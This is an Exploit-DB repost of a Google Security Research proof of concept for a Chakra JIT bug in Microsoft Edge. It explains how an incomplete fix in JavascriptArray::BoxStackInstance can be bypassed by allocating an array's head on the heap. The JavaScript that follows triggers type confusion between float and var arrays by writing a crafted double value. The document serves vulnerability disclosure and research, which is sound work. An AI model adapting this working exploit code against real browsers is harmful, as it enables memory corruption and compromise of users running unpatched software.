Microsoft Edge Chakra JIT – Stack-to-Heap Copy (Incomplete Fix) (1)

  • 作者: Google Security Research
    日期: 2018-04-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44396/
  • /*
    Here's a snippet of JavascriptArray::BoxStackInstance. To fixissue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix.
    
    template <typename T>
    T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
    {
    Assert(ThreadContext::IsOnStack(instance));
    // On the stack, the we reserved a pointer before the object as to store the boxed value
    T ** boxedInstanceRef = ((T **)instance) - 1;
    T * boxedInstance = *boxedInstanceRef;
    if (boxedInstance)
    {
    return boxedInstance;
    }
    
    const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
    if (ThreadContext::IsOnStack(instance->head))
    {
    boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
    inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
    T, instance, true, deepCopy);
    }
    else if(inlineSlotsSize)
    {
    boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
    }
    else
    {
    boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);
    }
    
    *boxedInstanceRef = boxedInstance;
    return boxedInstance;
    }
    
    PoC:
    */
    
    function inlinee() {
    return inlinee.arguments[0];
    }
    
    function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */
    
    let stack_arr = [];
    
    // Allocate stack_ar->head to the heap
    stack_arr[20] = 1.1;
    
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;
    
    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);
    
    stack_arr[10000] = 2.3023e-320;
    
    return heap_arr[10000];
    }
    
    function main() {
    for (let i = 0; i < 10000; i++)
    opt(new Function(''));// Prevents to be inlined
    
    print(opt(heap_arr => {
    heap_arr[10000] = {};// ConvertToVarArray
    }));
    }
    
    main();